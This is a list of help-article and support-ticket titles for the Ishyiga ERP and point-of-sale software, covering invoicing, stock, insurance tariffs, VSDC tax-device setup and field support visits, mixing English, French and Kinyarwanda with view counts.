Ishyiga

ISHYIGA ERP CMD

CREATE AN ITEM1845

SUPPLIER CREATION3

CREATE A SUPPLIER2

DISPLAY REPORT0

UPDATE AN ITEM6

STOCK SCANNING1

CREATE NEW SUB ACOUNT7

CREATE A NEW CLIENT15

CREATE A NEW SUPPLIER14

CREATE A NEW EMPLOYEE3

CREATE A NEW ACCOUNT7

MODIFY AN ACCOUNT3

VIEW CLIENT\'S DATA0

VIEW SUPPLIER\'SDATA0

VIEW EMPLOYEE\'S DATA0

MODIFY A CLIENT4

MODIFY A SUPPLY3

MODIFY AN EMPLOYEE0

DELETE A CLIENT10

DELETE A SUPPLIER3

DELETE AN EMPLOYEE1

RECORDING INVOICE1

RECORDING REFUND0

RECORDING DELIVERY NOTE0

RECORDING MVT OUT0

RECORD SUPPLIER EXPENSES1

RECORDING PAYMENT SUPPLIER(ON THE BANK)2

RECORDING PAYMENT SUPPLIER (ON CASH)3

RECORDING PAYMENT CLIENT(BANK)0

RECORDING PAYMENT CLIENT(ON CASH)1

DEPOSIT ON THE BANK3

RECORDING BANK CHARGES2

UPDATE RECORDED OPERATION5

PRINT CLIENT SITUATION4

PRINT SUPPLIER SITUATION2

VIEWING PROFIT AND LOSS5

VIEWING BALANCE SHEET3

VIEWING BILLING(CLIENT)5

VIEWING BILLING(SUPPLIER)4

create an item1

Friend Request through Pos Cmd in Ishyiga2

Friend Request through Pos Cmd in Ishyiga2

Friend Request through www.ishyiga.net2

Accept friend Request through www.ishyiga.net3

CLIENT SITUATION1

CUSTOMER PAYEMENT ON CAISSE1

EASY WORK TOOL1

PRINTING TIER ACCOUNTS1

INVENTORY REPORT2

SALES CASHNORME3

SALE ON INSURANCE5

CLIENT PAYEMENT ON BANK2

Registration on www.ishyiga.net through Pos Cmd11

COMPTABILISE INVOICE AND REFUND2

How to get account to login in www.ishyiga.net1

MAKING PROFORMA4

STOCK DAILY REPORT6

CLIENT CREATION597

REPORT OF ALL SALES4

CHANGING THE SELLING PRICE5

DELIVERY-INVOICE6

MAKING A PROFORMA IN ISHYIGA IMPORT VENTE7

TRANSFORM A PROFORMA INTO AN INVOICE4

REFUND INVOICE2

create company 1

INSURANCE NOT ALLOWED1

INSURANCE NOT ALLOWED0

REGISTER AN NEW DEPOT6

CREATE A FABRICANT3

ASSIGN A SUPPLIER AND FABRICANT3

CREATE ITEMS FAMILLY3

PURCHASE ORDER4

CREATE CLIENT IN RAMA2

TRANSFORM A PURCHASE ORDER INTO A DELIVERY VOUCHER2

DELIVERY VOUCHER TO DELVERY1

CREATE AND UPDATE SUPPLIER3

CREATION OF EMPLOYEE1

EMPLOYEE CHARGES1

CALCULATION OF SALARY1

PAYMENT OF EMPLOYEE1

PAYDAY ADVANCE1

MODIFICATION FOR MISTAKE YOU CAN DO1

DOWNLOAD AND REGISTER 1

TO MAKE DELIVERY7

PURCHASE ORDER VIA CLOUD4

RAMA and MMI Credit Report1

SUPPLIER REPORT5

DELIVERY ONLINE6

DELIVERY ONLINE0

REDIRECT ORDER1

SELL ON MMI AND RAMA1

SELL ON CASHNORM2

EXPIRED REPORT5

REPRINT OF DELIVERY 2

HOW TO ENTER DELIVERY NOTE4

REGISTER OF CLIENT2

EDIT RESERVATION2

DELETE RESERVATION2

CHANGE ROOM PRICE2

Changing Price0

Selling on POS_CAISSE1

Mouvement OF AN ITEM1

E-MAIL OF CLIENT BILLING 1

MUTE/SLEEP AN ITEM3

UNMUTE/UNSLEEP ITEM 1

CASHIER TICKET1

CASHIER TICKET0

CASHIER TICKET0

COMPTABILISE LIVE INVOICE1

COMPTABILISE LIVE REFUND1

COMPTABILISE LIVE DELIVERY0

VIEWING REPORT ON LIVE1

VIEWING SALES REPORT ON ISHYIGA LIVE2

VIEWING REFUND INVOICE ON ISHYIGA LIVE1

ADD NAME OF PRIVATE CLIENT TO THE INVOICE OF CASHNORM2

CREDIT INVOICE2

Item mouvements1

CHANGE INVOICE1

MVT OF AN ITEM4

MVT OF AN ITEM0

MVT OF AN ITEM0

MVT OF AN ITEM0

MVT OF AN ITEM1

TO CHANGE PURCHASE PRICE0

CHANGE THE PURCHASE PRICE2

REPORTS IF INVOICES1

REPORTS OF INSURANCE1

REPORT ON PURCHASED ITEMS1

TO CONNECT SDC1

UPDATE INVENTORY QUANTITY1

REQUESTING PRICE1

ISHYIGA MEDECINE2

reprint invoice2

REPRINT DELIVERY1

create new insurance1

update insurance to tariff cash1

DEPRECIATION TABLE3

HOW TO MAKE AN INVOICE2

GENERAL REDGER1

OK AND SOMMEIL1

DELIVERY OFFLINE1

MOVEMENT D\'ENTREE1

command from retailers to the supplier2

REMOVE ITEM FROM SOMEIL1

TO SET COEFFICIENT ON ITEM1

MOUVEMENT OUT OF AN ITEM1

UPDATE A SUPPLIER 1

CREATE A NEW SUPPLIER2

REPORT OF MVT OUT AND MVT IN1

TO UPDATE AN EMPLOYEE ISHYIGA POS VANTE2

TO SET TOP SALE1

COPY OF AN INVOICE1

HOW TO DELETE A COMMAND1

TO SET SELLING PRICE ON AN ITEM1

REPORT OF NET INVOICE1

INVOICES REPORT1

STOCK QUANTITY1

CREATION OF ITEM1

CREATION OF AN ITEM0

RECORDING PAYEMENT CLIENT(BANK)0

RECORDING PAYEMENT CLIENT(BANK)0

statistique(TOP QUANTITE)1

UPDATE AND REMOVE ITEMS IN THE BASKET3

SEARCH CATEGORY OF ROOM1

PRINT CONSUMPTION ON ROOM 1

MAP CONSUMPTION TO ROOM 1

CREDIT INVOICE1

HOW TO TRANSFORM BLT INTO BL1

HOW TO MAKE COMMAND3

HOW TO CREATE TIER2

REPRINT REFUNDED INVOICE0

REPRINT REFUNDED INVOICE1

purchase(calcul)2

ADD PRICE ON ITEM CREATED1

UPDATE A SUPPLIER2

general report1

new forwarding agent1

update forwarding agent1

update incoterm1

new location(from_destination)1

update location1

NEW MODE OF TRANSPORT1

UPDATE MODE OF TRANSPORT1

CREATE EMPLOYE4

CREDIT INVOICE WITH ADVANCE1

GENERAL LEDGER1

STOCK REPORT/DEPOT1

STOCK REPORT/SUPPLIER1

STOCK REPORT/FAMILY1

VAT CALCULATION1

VAT CALCULATION0

VAT CALCULATION1

BANK SITUATION ACCOUNT1

DELETE SUB ACCOUNT2

REDUCTION ON SELLING PRICE1

UPDATE CLIENT\'S INFORMATION1

CHANGE CATEGORY OF ROOM2

REPRINT INVOICE1

ALL SALES REPORT1

CHANGE CATEGORY OF ROOM 0

CHANGE FROM RESERVED TO OCCUPIED 2

UPDATE CLINET INFORMATION2

CREATE A GROUP2

DOUBLE CHECKIN1

DOUBLE RESERVATION 2

MOVE FROM ROOM TO ANOTHER 1

PRINT BILL OF GROUP 1

REPORT OF CHECKOUT1

REPORT OF OCCUPIED1

REPORT OF RESERVED1

REPORT USING ISHYIGA HOTEL1

REFUND OF DELIVERY 1

REFUND INVOICE1

REPRINT COPY INVOICE1

CONDITIONNEMENT BUP1

STOCK ANTERIUR FICHIER2

RELATE ITEM WITH A SUPPLIER2

CHECKING CLIENT VERSION1

BUGTOOL ASK QUESTION1

NOT AUTHORIZED1

ALERTE EXPIRED 1

ALERTE EXPIRED 0

ALERTE RUPTURE1

ADD ITEM TO IT\'S CATEGORY 1

INCOMPLETE INVOICES1

INVOICE NUMBER REPORT1

REPRINT MOVEMENT D\'ENTREE1

DELETE AN ORDER1

STOCK POSITIVE REPORT2

VIEWING AND REPRINT VIREMENT0

VIEWING AND REPRINT DELIVERY2

VIEWING AND REPRINT MVT OUT1

VIEWING AND REPRINT MVT IN1

tarif category1

update tarif category1

VIEW INVOICE IN OPTIONS2

report of one client1

REPORT OF REFUNDED INVOICE1

STOCK BY WAREHOUSE1

UPDATE EMPLOYEE1

DELETE ACCOUNT2

PROFORMA INTO DELIVERY1

PURCHASE REPORT BY SUPPLIER1

REMOVE AN ITEM(SLEEP)1

REPORT OF CHANGE DONE1

PRINT STOCK USING ISHYIGA 1

TICKET CASHDESK1

introduction to ishyiga clinic1

change coefficient1

add item on promotion1

HOW TO DELIVER A COMMAND FROM DIFFERENT STOCK1

how to upload support report1

HOW TO MAKE PROFORMA WITHOUT QTY IN STOCK1

Return to editingHow to view qty report in ishyiga POS CMD0

How to view qty report in ishyiga POS CMD0

manufacturing to many with no adjustment1

create user account in IMPORT CMD Cloud(distribution)7

Accept friendship0

Accept friendship0

EXTRACTION PRICE FOR INSURANCE1

Register New Patient13

Adding new Diagnostic8

Change tarrif11

Adding new diagnostic to a patient5

Perform diagnostic to a patient4

add new prescription4

create new treatment7

ADDING A SUPPLIER4

Friend request5

reply a friendly request0

reply a friendly request3

reply a command4

UPDATE TRAITMENT2

ADDING NEW TEST4

EDIT OPERATION1

REGISTERING NEW TEST1

PRINTING PURCHASE1

VIEW LIST OF TIER3

ADD A RESPONSE NOTE1

IMPORT STOCK VALUE ON COMPTA1

PROFIT AND LOSS FOR ONE BRANCHE +THE STOCK VALUE1

FRIEND REQUEST4

RESPOND REQUEST2

PRINT PROFIT AND LOSS1

DELETE ACCOUNT USING ISHYIGA COMPTA1

PRINT HISTORY USING ISHYIGA COMPTA1

SEND A COMMAND7

ACCEPT REQUEST3

VIEW COMMAND ONLINE1

how to make autocommand2

VIEW STOCK ONLINE1

DISPENSING OF ITEMS1

ADD ITEMS IN A STOCK1

CREATE A NEW USER1

CHOOSE TEST TO THE PATIENT1

DIAGNOSTIC TO HTE PATIENT1

REGISTER A NEW PATIENT1

SELECT DIAGNOSTIC TO THE PATIENT1

ADD RESULT OF TESTS1

UPDATE JOURNAL1

GENERAL REPORT0

SUPPLIER CREATION0

To see stock value0

Change proforma into an invoice with credit0

SALES REPORT WITH THEIR WAREHOUSES0

SALES REPORT WITH THEIR WAREHOUSES0

CASHDESK REPORT IN A GIVEN PERIOD0

PROFORMA REPORT0

CREDIT INVOICE REPORT0

CASH INVOICE REPORT0

TO GIVE AUTHORISATION0

TO SEE WAREHOUSES CREATED0

TO SEE CLIENTS WHO USE A GIVEN ASSURANCE0

ISHYIGA CLIENT TOOL0

VSDC INSTALLATION0

REPUSH INVOICES0

REGISTER CLIENT MACHINE0

REGISTER NEW EMPLOYE0

SYSTEM RESTORE0

INSTALLATION VSDC0

INSTALLATION VSDC0

NETWORK PROBLEM0

Update Client Information0

INSTALLATION OF ISHYIGA0

StandBY Delivery0

REGISTER CLIENT MACHINE0

REGISTER NEW EMPLOYE0

CHECKING CLENT STATUS0

REGISTER VSDC LIVE0

GENERAL REPORT ERROR0

FACTURE ZIDASOHOKA0

PRINTER PROBLEM0

INSTALL ANTIVIRUS0

SHARING PRINTERS0

SUPPORT FOR DATA BUTTON0

NETWORK CONFUGURATION ,CHANGING SERVER0

INSTALLATION OF ANTI_VIRUS0

GUSHYIRA ISHYIGA MURI MACHINE CLIENT0

FACTURE FOURNISSEUR0

Bug tool (Mantis)0

PULL ISHYIGA INTO MACHINE0

GUKOSORA UMUTI USOHOKA KURI FACTURE0

SET SDC TIME TO MRC TIME0

CHECKING PROFORMA0

CHECKING WHY VSDC NOT WORKING0

SUPPORTER DAILY FIELD REPORT 0

VSDC PROBREM SKMM0

ISSUE ON DROPBOX FOR BACKUP0

RECONNECT ISHYIGA TO CLIENT MACHINE0

PREPARE DB FOR NEW INSTALLATION0

Windows and Java Problems0

DATA EXTRACTION0

ADDING EMAIL TO THE GLOBAL ACCOUNT0

DATA TRANSFERING0

INSTALLATION OF NEW PC0

VSDC INSTALLATION CONTINUE0

DATABASE UNIPHARMA ALL BRANHCES0

GUCANA ISHYIGA0

ISSUE ON INVOICE0

MAKING BACKUP 0

VSDC Z REPORT CHECK0

VSDC ISSUE ON TAX CODE0

CHANGE LES NUMERO DE COMPTE0

UPDATE VERSION0

CHECKING REPORT0

UPDATE ISHYIGA NEW VERSION POS0

UPDATE ISHYIGA NEW VERSION POS0

UPDATE ISHYIGA FOR NEW VERSION ERP0

CHANGE BL BACK TO BLT0

Proforma Generation0

Proforma Generation0

UPDATE RHIA TARIFF0

DEPLOYMENT PLAN0

Update Tarrifs0

STANDUP MEETING0

HOW TO CREATE NEW INSURANCE USING SOCIETE TARIFF0

Debug Along with Developers0

CREATION NEW INSURANCE0

CONTRACT ANALYSIS0

ENDING THREAD30

CHECKING BACKUP0

REGISTER NEW TABLET0

GUSHYIRA STOCK KURI ZERO0

Client Tool Update0

PRESENTATION ISHYIGA POS0

HELP TO INSTALL ACCOUNT0

SERVER MIGRATION0

ERROR IN ENTRY0

TO GIVE NOTICE RELEASE VERSIONS0

GIVE AUTHORIZATION0

REMINDER USER ID AND PASSWORD0

SEND BACK ISHYIGA VERSION0

anydesk Support0

Talk with Client0

SETUP PRINTOUT DOCUMENT0

Adding missing variable0

Anydesk Access0

Gukosora facture yanditse nabi0

EMPLOYEE REPORT0

Presentation Ishyiga Compta0

ISHYIGA PRESENTATION0

DATABASE MAINTAINANCE0

CONNECTION FAIL0

Windows Installation0

CHANGE PRICE ON SOCIETE0

ERROR TABLE CHECKING FOR CLIENT0

MAKING VIDEO OF INEZA0

Allowing POS CMD IN KASPERSKY APPs0

DATABASE PREPARATION0

CHECKING WHY DELIVERY IS MISSED0

Check why stock are not on live0

Delivery itinjiza quantite0

CONFIGURE INTEGRATION INVIRONMENT0

ANALYSE DELIVERY REPORT0

QTY ZIDASOHOKA0

database update0

REPORT AND ANALYSIS0

stock have already taken0

CREATION DE DEPOT0

CLIENTS SITUATION0

MAKING INVOICES ON CLIENT MACHINES0

FACTURE ZA RAMA ZISOHOKA MURI FORMAT ITARIYO0

PREPARE LETTER 0

ABOUT PAIEMENT0

UPDATE SOCIETE TARIFF TO CASHNORM0

INVOICE WITH NO LOGO0

CHECK CLIENTS SITUATION0

CMD YABAYE ZIP0

CHECK THE XML SENT IN INTEGRATION0

TEST AND UPDATE0

LIQUID TELECOM NEGOTIATION ON INTERNET PROBLEM0

INSTALLATION VSDC+ INTEGRATION0

GUHUZA COMPTE FRAIS DE CONTROLE NA TIER RFDA0

KUVANA ASSURANCES MURI SOCIETE ZIGAKORESHWA UKWAZO0

RESTART THE SERVER FOR VSDC ERROR0

KUREBA IMPAMVU QTY ZITANDUKANYE HAKURIKIJWE MVT ZAKOZWE0

VISITE + CHECK CLIENT SITUATION0

GUCANA ISHYIGA0

REPORT ALL INVOICES ifite information za SDC number na invoice number0

BACK OFFICE REPORT0

CHECK IF VSDC HAS SKIPED INVOICES0

KUREBA IMPAMVU HARI ITEMS ZITEMERA GUCURUZWA0

CHEKING WHY DELIVERY NOT TRANSFORMED0

MIS A PAGE AND CHECK WHY INVOICES WHERE NOT REPORTED0

KUREBA IMPAMVU FACTURES ZITABAYE REPORTED KURI RRA. NO KUYIKEMURA0

Kureba impamvu livraison cmd imwe yagiye muri transit hakozwe groupage y eshatu0

FACTURE YA RAMA IZA NTA ITEM ZANDITSEHO0

CONFIGURE AUTOBACKUP BY INSTALLING DROPBOX0

PUT RRALOGO ON INVOICES CONFIGURE AUTOBACKUP0

CHECK AND START SERVER0

FAILED REFUND WITH PROOF OF SUCCESS ON PRINT OUT ,DATABASE ANALYSIS0

REGISTER CLIENT IN SOCIETE0

DELIVERY REPORT0

CONFIGURE DISTRIBUTION AND COMPTA0

CHANGE DELIVERY DATE AND REFERENCE0

Kureba impamvu kwinjiza muri stock byanze0

Gufunga firewalls0

CONTRACT REVIEW0

GUCANA VSDC NA VENTE KURI SERVER0

GUCANA VSDC NO KUREBA IKIBAZO KIRI MURI MVT IN0

KUREBA IMPAMVU FACTURES ZIGARAGARA MURI RAPORO ZARAKOREWE REFUND0

FACTURE YA MMI IDASOHOKA0

STOCK DEJE PRIS0

COMMAND ZIDASOHOKA0

GUSOBANURA UKO YAHUZA CODE ZO MURI DEPOT N IZA PHARMACIE0

CHECH WHY BALANCE SHEET SHOW THE STOCK0

GUKOSORA FACTURE PARTICULIER YAZAGAHO AMAFARANGA MENSHI ATARI YO0

KUREBA IMPAMVU FACTURE YA CLIENT UMWE ITABA REFUNDED0

KUREBA IMPAMVU ITEMS NYINSHI ZITAGARAGARA HAKOZWE SEARCH0

INSURRANCES CREATION & PUT PRICES0

KUREBA IMPAMVU HARI ITEM YINJIJWE HAMWE N IZINDI ARIKO NTIZE KURI PRINTOUT0

DEALING WITH VSDC YIZIMYA0

ANALYSE INVENTORY REPORT0

GUHINDURA VERSION KUKO ITEMS NYINSHI ZITAGARAGARAGA HAKOZWE SEARCH,NO GUKOSORA INFO ZITAZAGA KURI CALCUL SHEET0

GUKOSORA ITEM HAZAGA ITARIYO KURI FACTURE0

UPDATE DB FOR TESTING0

CHECK WHY SDC WAS NOT WORKING0

PREPARE DB FOR TESTING 0

KUVANA MURI TRANSIT NO GUCANA VSDC0

ANALYSE Clients End And Remains One Month For ContracT0

KUMVA NO GUTEGURA DOCUMENT IZAJYA ISINYWA NA CLIENTS FOR SESSIONS0

GUKOSORA FACTURE0

CHECK AHO INFO ZIRIMO DEPOT ZIZA KURI FACTURES ZIVA0

TO FILL VSDC FORM0

JDK Installation0

TRAINING ON INSURENCE GROBAL REPORT0

REINSTALL ISHYIGA AND INSTALL VSDC0

EXPORT INVOICE0

EXPORT INVOICE ,REPRINT AND CHANGE VSDC VERSION0

SHARE ISHYIGA FROM SERVER TO OTHER MACHINE VIA VPN0

KUVANA MURI TRANSIT NOA CREATION NEW EMPLOYEE0

KUVANA MURI TRANSIT NA CREATION NEW EMPLOYEE NO GUCANA VSDC0

GUSHYIRA DATE KURI DELIVERY0

GUSHYIRA DATE KURI DELIVERY NO KONGERA SIZE YA EXPIRE DATE 0

TRAINING ON HOW TO RECEIVE COMMAND FROM APPY0

GUKOSORA REPRINT YA BON LIVRAISON YATANGAGA TOTAL ITARIYO0

ISHYIGA RITAKA KURI MACHINE CLIENT0

FIELD VISITE REPORT0

COLLECT ALL FIELD ENVIRONMENT0

Training on Traceability0

Training on Traceability0

GUHINDURA DEPOT0

CLEAN DATABASE AND TRAIN ON POS COMMANDER AND POS CAISSE0

CONNECT SDC AND TAKE BACKUP0

CHANGE VERSION FOR CREATION, UPDATE BRITAM PRICES,CHECK SCANED INVOICES,0

FOLLOW UP ON RSSB TEST ,ADD PRESCRIBERS, CORRECT AFFILIATES, CHECK SCANNED INVOICES AND PRESCRIPTIONS0

CHECK WHERE COMES STOCK VALUE THAT APPEAR ON PROF&LOSS REPORT AND CORRECT0

CONFIGURE ISHYIGA TO NEW IP ADDRESS ,SHARE IT AND MAKE IP STATIC ON SERVER0

CHECK INVOICES THAT SEEM NOT REPORTED ON RRA0

GUKOSORA FACURE YAJEMO MINUS0

UPDATE VSDC, CHECK IF ALL MAY INVOICES WERE REPORTED, PUT ISHYIGA SHORTCUTS ON DESKTOP0

CHECK INVOICES THAT WERE NOT REPORTED AND REPUSH0

CHECK WHY SOME INVOICES ARE NOT IN REPORT AND ADD MISSING PRESCRIBERS0

ACTIVATE AFFILIATES IN ISHYIGA WHO WERE ALREADY ACTIVATED IN RSSB:: VCDC0

CONFIGURE ISHYIGA TO NEW IP ADDRESS ,SHARE IT AND CHECK WHY ALERTES WERE NOT REPORTED0

UPDATE VSDC AND CIS0

CHECK INVOICE SAID NOT TO BE REPORTED ON BACK OFFICE EBM2 AND UPDATE VSDC0

CHECK VSDC TO REPORT INVOICES,AND UPDATE VSDC0

CHANGE EQUITY BANK TO EQUITY AND UPDATE CLIENTS, INVOICES AND REFUND0

ADD PRESCRIBERS, CHECK ITEM MISSED ON INSURANCE LIST,UPDATE VSDC0

UPDATE VSDC AND HELP ON ERRORS THAT COME IN COMMANDER0

UPDATE VSDC AND HELP ON IP CHANGE0

CHECK THE 2 INVOICES CLAIMED NOT TO BE REPORTED IN BOTH ISHYIGA AND RRA BACK OFFICE0

CHECK THE 2 INVOICES CLAIMED NOT TO BE REPORTED IN BOTH ISHYIGA AND RRA BACK OFFICE0

CHECK THE 2 INVOICES CLAIMED NOT TO BE REPORTED IN BOTH ISHYIGA AND RRA BACK OFFICE0

THE SYSTEM WAS NOT WORKING IN ONE MACHINE 0

AFFILIATE NOT FOUND0

MAKE IP ADDREESS STATIC , START ISHYIGA ON NEW IP0

GUFATA BACKUP,GUKURAMO ERROR MESSAGES ZA END QUEUE, NO KUREBA IMPAMVU ABAKOZI BAMWE BADACANA SDC NGO IKUNDE0

HAZAGA ERRORS ,GUSHYIRAHO VERSION YEMERA GU CREA ITEM0

HAZAGA ERRORS 0

UPDATE VSDC AND CIS AND CHECK INVOICES THAT WERE NOT REPORTED AND REPUSH 0

IP ADDRRESS CHANGED, AND UPDATE VSDC AND CIS0

EMPLOYEES ACCOUNT CREATION0

HELP TO FIND MISSING ITEMS AND SYNCHRONISATION0

GUKOSORA FACTURE ZA RSSB0

INSURANCE ITAGARAGARA KURI TARRIF0

DISK CLEAN UP AND FOLLOW UP0

ADD PRESCRIBERS, ACTIVATE MISSING AFFILIATES WHICH ARE ALLOWED,GUCANA VSDC,0

UPDATE SUPPLIER0

BUGTOOL CLEANING0

CHECK HOW 2 INVOICES MADE FROM ONE DELIVERY0

GLOBAL ACCOUNT CREATION AND GIVE AUTHORISATIONS,CHECK ONE INVOICES WHICH DID NOT REFUNDED0

ADD MISSED PRESCRIBERS, AND ACTIVATED AFFILIATE MISSED0

Allowing POS CAISSE IN KASPERSKY APPs0

ADD MAC ADDRESS OF ONE MACHINE0

ADD MAC ADDRESS OF ONE MACHINE AND END QUEUE0

CONNECT NEW MACHINE AND SYNCHRONIZE0

ERROR KURI TOTAL YA LIVRAISON 0

UPDATE THE PRINT OUT OF DELIVERY WITHOUT PRICES,TAKE BACKUP, END QUEUE,0

TRAINING ON ERP CAISSE,SHARE ISHYIGA ON OTHER MACHINE, SHARE PRINTER 0

TRAINING ON ERP CAISSE,SHARE ISHYIGA ON OTHER MACHINE, SHARE PRINTER ,CONFIGURE AUTOBACKUP0

ERROR KURI REPRINT INVOICE0

ADDING COMPANY INFORMATION0

Purchases entry0

KUREBA IMPAMVU VERSION 7.0.2 CMD IHAGARARA0

KUREBA IMPAMVU GUHINDURA IGICIRO BITEMERA KURI CASHNORME0

REINSTALL JAVA, AND CONNECT SDC0

REINSTALL JAVA, AND CONNECT SDC, START ISHYIGA ON NEW MACHINE IP ADDRESS0

CHECK WHY SOME QUANTITES ON REFUNDED INVOICE ARE NOT DISPLAYED TO BE SOLD0

ASSIGN ITEM TO FRSS0

PREPARE ITEMS AND IONSERT THEM IN DEPOT0

GUSUBIRA INYUMA KURI VERSION0

RAPPORT FOURNSEUR0

RAPPORT FOURNSEUR0

RAPPORT FOURNSEUR0

GUTEGURA DATABASE0

Process Invoices0

Service Database Re-connection0

REINSTALL ISHYIGA AND VSDC0

ANALYSE THE PROBLEM OF LOST DATA, CHECK ON BACKOFFICE ANNEXURE,0

PREPARE VSDC DATABASE, INVOICING UNREPORTED INVOICES, CHECK REPORTS0

SYSTEM FOLLOW UP0

CHECK WHY BC(BON DE COMMANDE) WAS NOT WORKING, CHECK WHY GROUPAGE OF 3 BC CALCULATE ONLY ONE0

CREATE SANLAM INSURANCE AND CONNECT IT TO EXISTING CLIENTS OF SORAS , SAHAM AND TO EXISTING REPORTS0

FACTURE YARI YANZE HAZA ERROR YA SYSTEM CALCULATION,ADD PRESCRIBER0

PREPARE AND INSTALL ISHYIGA COMPTA0

CREATE NEW ACCOUNT (GLOBAL ACCOUNT) AND UPDATE TO NEW VERSIONS0

UPDATE ISHYIGA TO NEW VERSIONS AND REPUSH UNSYNCED RECEIPT\'S0

monitoring Service Performance0

VSDC YIZIMYAGA 0

Server Idafata Network0

TESTING BILLRUN0

TEST AND SOLVE THE PROBLEM WHICH CAUSED MORE UNBALANCED0

TEST AND SOLVE THE PROBLEM WHICH CAUSED MORE UNBALANCED0

MAC ADDRESS OF MACHINE HAS CHANGED AND Vsdc WAS NOT CONNECTING0

SET POIDS TO ALL ITEMS ,HELP IN DOING CALCUL0

SET ISHYIGA ON LOCALHOST AHO BIMURIYE MACHINE AND UPDATE DATABASE0

SET ISHYIGA ON LOCALHOST AHO BIMURIYE MACHINE AND UPDATE DATABASE AND TAKE BACKUP0

REINSTALL JAVA, CHECK WHY SDC IS NOT CONNECTING0

CHECK UNBALANCED, SYNC INVOICES WITH ERRORS ,CHECK ITEM WHICH IS NOT BEING SYNCHRONIZED0

CHECK DELIVERY MISSED, CHECK WHY ONE CLIENT IS NOT BEING SERVED0

CHECK UNBALANCED, REPUSH INVOICES WITH ERRORS 0

DELIVERY NOTE WITH FAIL STATUS0

REPUSH INVOICES WITH ERROR AS SYNCED RESPONSE0

MAC ADDRESS OF MACHINE HAS CHANGED AND VSDC WAS NOT CONNECTING0

GIVE AUTHORIZATION,ADD COGEBANK ACCOUNT ON DELIVERY NOTE0

CORRECT PRODUCTION STOCKEE- IN PROFIT& LOSS REPORT,COMPTABILIZE NEW DELIVERY ENTERED IN USD AND REMOVE FROM TRANSIT0

CMD NO TRANSFORMED TO BLT0

TRAINING ON ISHYIGA LIVE( MONITORING STOCK OF DIFFERENT BRANCHES)0

VISIT ,TAKE BACKUP AND END QUEUE0

VISIT ,TAKE BACKUP AND END QUEUE0

VISIT ,TAKE BACKUP AND END QUEUE0

VISIT ,TAKE BACKUP AND END QUEUE0

VISIT ,TAKE BACKUP AND END QUEUE0

KUVANA MURI TRANSIT0

HUMANOID MEETING0

HELP ON CALCULATION ERROR MESSAGE,PUT VSDC, CAISSE EXE ON DESKTOP, START ISHYIGA ON NEW IP, 0

HELP ON CALCULATION ERROR MESSAGE0

ADD MISSING ITEM ON RAMA0

VISITE,CHANGE SOME INFORMATION ON INVOICE,SYNCHRONIZER, ABOUT UPDATE CONTRACT0

VISITE,CHANGE SOME INFORMATION ON INVOICE,SYNCHRONIZER, ABOUT UPDATE CONTRACT0

SDC WAS NOT CONNECTED, VSDC FORMS0

DEALING WITH TRACEABILITY ISUE0

CHECK WHY VSDC WAS NOT PERFOMING ZD COMMANDS, CHANGE VERSION0

CORRECT INVOICE WITH STANDBY AS INVOICE NUMBER, END QUEUE0

CORRECT INVOICE WITH STANDBY AS INVOICE NUMBER, END QUEUE0

KUREBA IMPAMVU FACTURE IMWE ITAKUYEMO STOCK0

KUREBA IMPAMVU ITEMS ZIMWE MVT SORTIE IDAKUNDA, NO KUVANA MURI TRANSIT0

CHECK WHY INVOICES TOOK MUCH TIME, DELETE TEMP FOLDERS 0

Monitor the system performance0

Monitor the system performance0

Check Vsdc Balance0

PREPARE DATABASE AND DO INSTALLATION0

KUBAFASHA KUBONA RAPORO YA NYAKANGA 20200

KUBAFASHA KUBONA RAPORO YA NYAKANGA 20200

CREATE NEW EMPLOYEE

DELIVERY NOT SCANNED

TESTING ISHYIGA DISTRIBUTION USING CLOUDING

PREPARE DATABASE FOR DISTRIBUTION, ITEM INJECTION

TESTING DISTRIBUTION USING CERCLE CHANEL

SHARE ISHYIGA ON CLIENT MACHINE

THERE WAS AN ARROR IN REFUND THAT STOPS VSDC

CONFIGURE ISHYIGA ON NEW IP ADDRESS OF SERVER AND SHARE IT

ADD MISSING PRESCRIBERS ON RSSB

CONFIGURE RADIANT,UAP,SANLAM AND BRITAM IN RHIA PLUS TO UPDATE ADDITIONAL LIST

CHANGING ISHYIGA PATH

ANALYSE THE PROBLEM SAID OF DATA INEQUALITY, CHECK ON BACKOFFICE ANNEXURE

TEST ISSUE ON REFUND DELIVERY AND REFUND INVOICE AND GiVE NEW VERSION

PUT CORRECT BANK ACCOUNT ON DELIVERY

TRAINING ON DIFFERENT FUNCTIONS (CAISSE AND STOCK) AND CREATE NEW EMPLOYEE

REINSTALL JAVA, AND CONNECT ISHYIGA ON CLIENT MACHINE

CORRECT THE PRODUCTION STOCKEE IN PROFIT AND LOSS REPORT AND CHANGE FIREWALL STATUS

GUIDE POUR ANNULER LE BON DE RECEIPTION AVEC ERREUR DE PRIX DE REVIENT

Perform Data Backup

PROFORMA IDASOHOKA

CHECK WHY SOME INVOICES WERE PERFOMED

INCOMPLET INVOICES AND AUTO REFUND

GUTANGA ACCESS KURI SERVER

FIREWALLS AND NETWORK SHARING WERE CHANGED, SHARING ISHYIGA AND PRINTER

CHECK WHY ISHYIGA CMD(STOCK) WAS NOT WORKING ON ONE MACHINE

DEMO PREPARATION

CORRECT ITEMS ON INVOICES

TRAINING ON SYMPONY

UPDATE ISHYIGA VERSION, START CONFIGURATIONS OF DISTRIBUTION INSti

UPDATE ISHYIGA VERSION, START CONFIGURATIONS OF DISTRIBUTION INSTALLATION

GLOBAL ACCOUNT CREATION

REINSTALL JAVA ,ISHYIGA ,DROPBOX,CHANGE NOM_BC(ON COMMAND) AND UPDATE ISHYIGA

BON DE COMMANDE YAZAGA YANDITSEHO MVT ENTRE

SYSTEM ITAKA(ISHYIGA)

KUREBA IMPAMVU BACANAGA STOCK HAKAZA IMITI IFITE STATUS YA SOMMEIL GUSA

GUKORA TEST KU INEZA NO GUCANA VSDC LINK YARI YAVUYEHO

GUIDE HOW TO REPRINT AN INVOICE

TEST VERSION FOR REPORTED ERROR, CREATE NEW ACCOUNTS,UPDATE TO NEW VERSION 8.3.0

COMPLETE UNCOMPLETED INVOICES FROM APRIL 2019 UP TO NOW, AND REFUND THEM

CHECH AND ANALYSE THE ANTERIOR STOCK FOR A CERTAIN DATE

HELP ON COMPLETING UNCOMPLTED INVOICES AND REPORT BUGS IN VSDC

REFUND COMPLETD INVOICES, CHECK Z REPORT

CHECKING WHY SHARED FOLDERS WERE NOT ACCESSED AND ENABLE THE POLICY FOR GUEST LOGONS

CHECK 2 DELIVERIES THAT WERE NOT COMPTABILISED, AND REMOVE PRODUCTION STOCKEE

ERROR KURI TOTAL YA FACTURE

GUSUBIZAMO GLOBAL ACCOUNTS

COMPLET UNCOMPLETED INVOICES AND REFUND THEM AND CHECK UNBALANCED

Return Errors check

